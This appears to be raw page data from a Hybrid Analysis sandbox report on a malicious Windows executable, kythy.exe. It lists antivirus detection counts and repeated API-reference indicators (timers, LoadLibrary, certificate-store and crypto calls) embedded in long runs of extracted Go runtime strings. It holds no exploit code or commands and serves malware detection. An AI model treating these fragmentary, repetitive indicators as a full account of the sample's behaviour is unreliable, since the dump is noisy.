24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c5,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample ae3ee04fded7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ae3ee04fded7…. Malware family: Win/malicious_confidence_90%. Threat score 100/100. 3/27 AV engines flagged this file. 12 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a"],"about":{"@type":"SoftwareApplication","name":"kythy.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":3,"total":27},"behavioralIndicators":{"malicious":12,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T787,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp")26:T62c,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp, 00000000-00006876.00000003.143408.00433000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006876.00000003.143408.00433000.00000002.mdmp")27:T988,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625invalid base wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failedn" (Indicator: "CertOpenStore"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "il stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "il stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "dr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->" (Indicator: "CryptReleaseContext"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double" (Indicator: "CertOpenSystemStoreW"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double" (Indicator: "CryptAcquireContextW"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "syscall: n > len(args)non-Go function at pc=RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625index out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free s" (Indicator: "CertGetCertificateChain"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "tacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedIn" (Indicator: "CertFreeCertificateChain"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int63ninvalid argument to Int31n14551915228366851806640625727595761418342590332" (Indicator: "CertFreeCertificateContext"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "03125all goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStore363797880709171295166015625PageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625GC mark assist wait for wor" (Indicator: "CertCreateCertificateContext"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "me: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "me: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625invalid base wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failed" (Indicator: "CertOpenStore"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "dr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g-" (Indicator: "CryptReleaseContext"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: doubl" (Indicator: "CertOpenSystemStoreW"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: doubl" (Indicator: "CryptAcquireContextW"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "syscall: n > len(args)non-Go function at pc=RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625index out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free" (Indicator: "CertGetCertificateChain"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "tacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedI" (Indicator: "CertFreeCertificateChain"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int63ninvalid argument to Int31n1455191522836685180664062572759576141834259033" (Indicator: "CertFreeCertificateContext"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625GC mark assist wait for wo" (Indicator: "CertCreateCertificateContext"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin"), Found api reference "runtime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameunimplemented3814697265625wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp"), Found api reference " locked to thread synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs gp->atomicstatus=marking free object KiB work (eager) [controller reset]mspan.sweep: state=sysMemStat 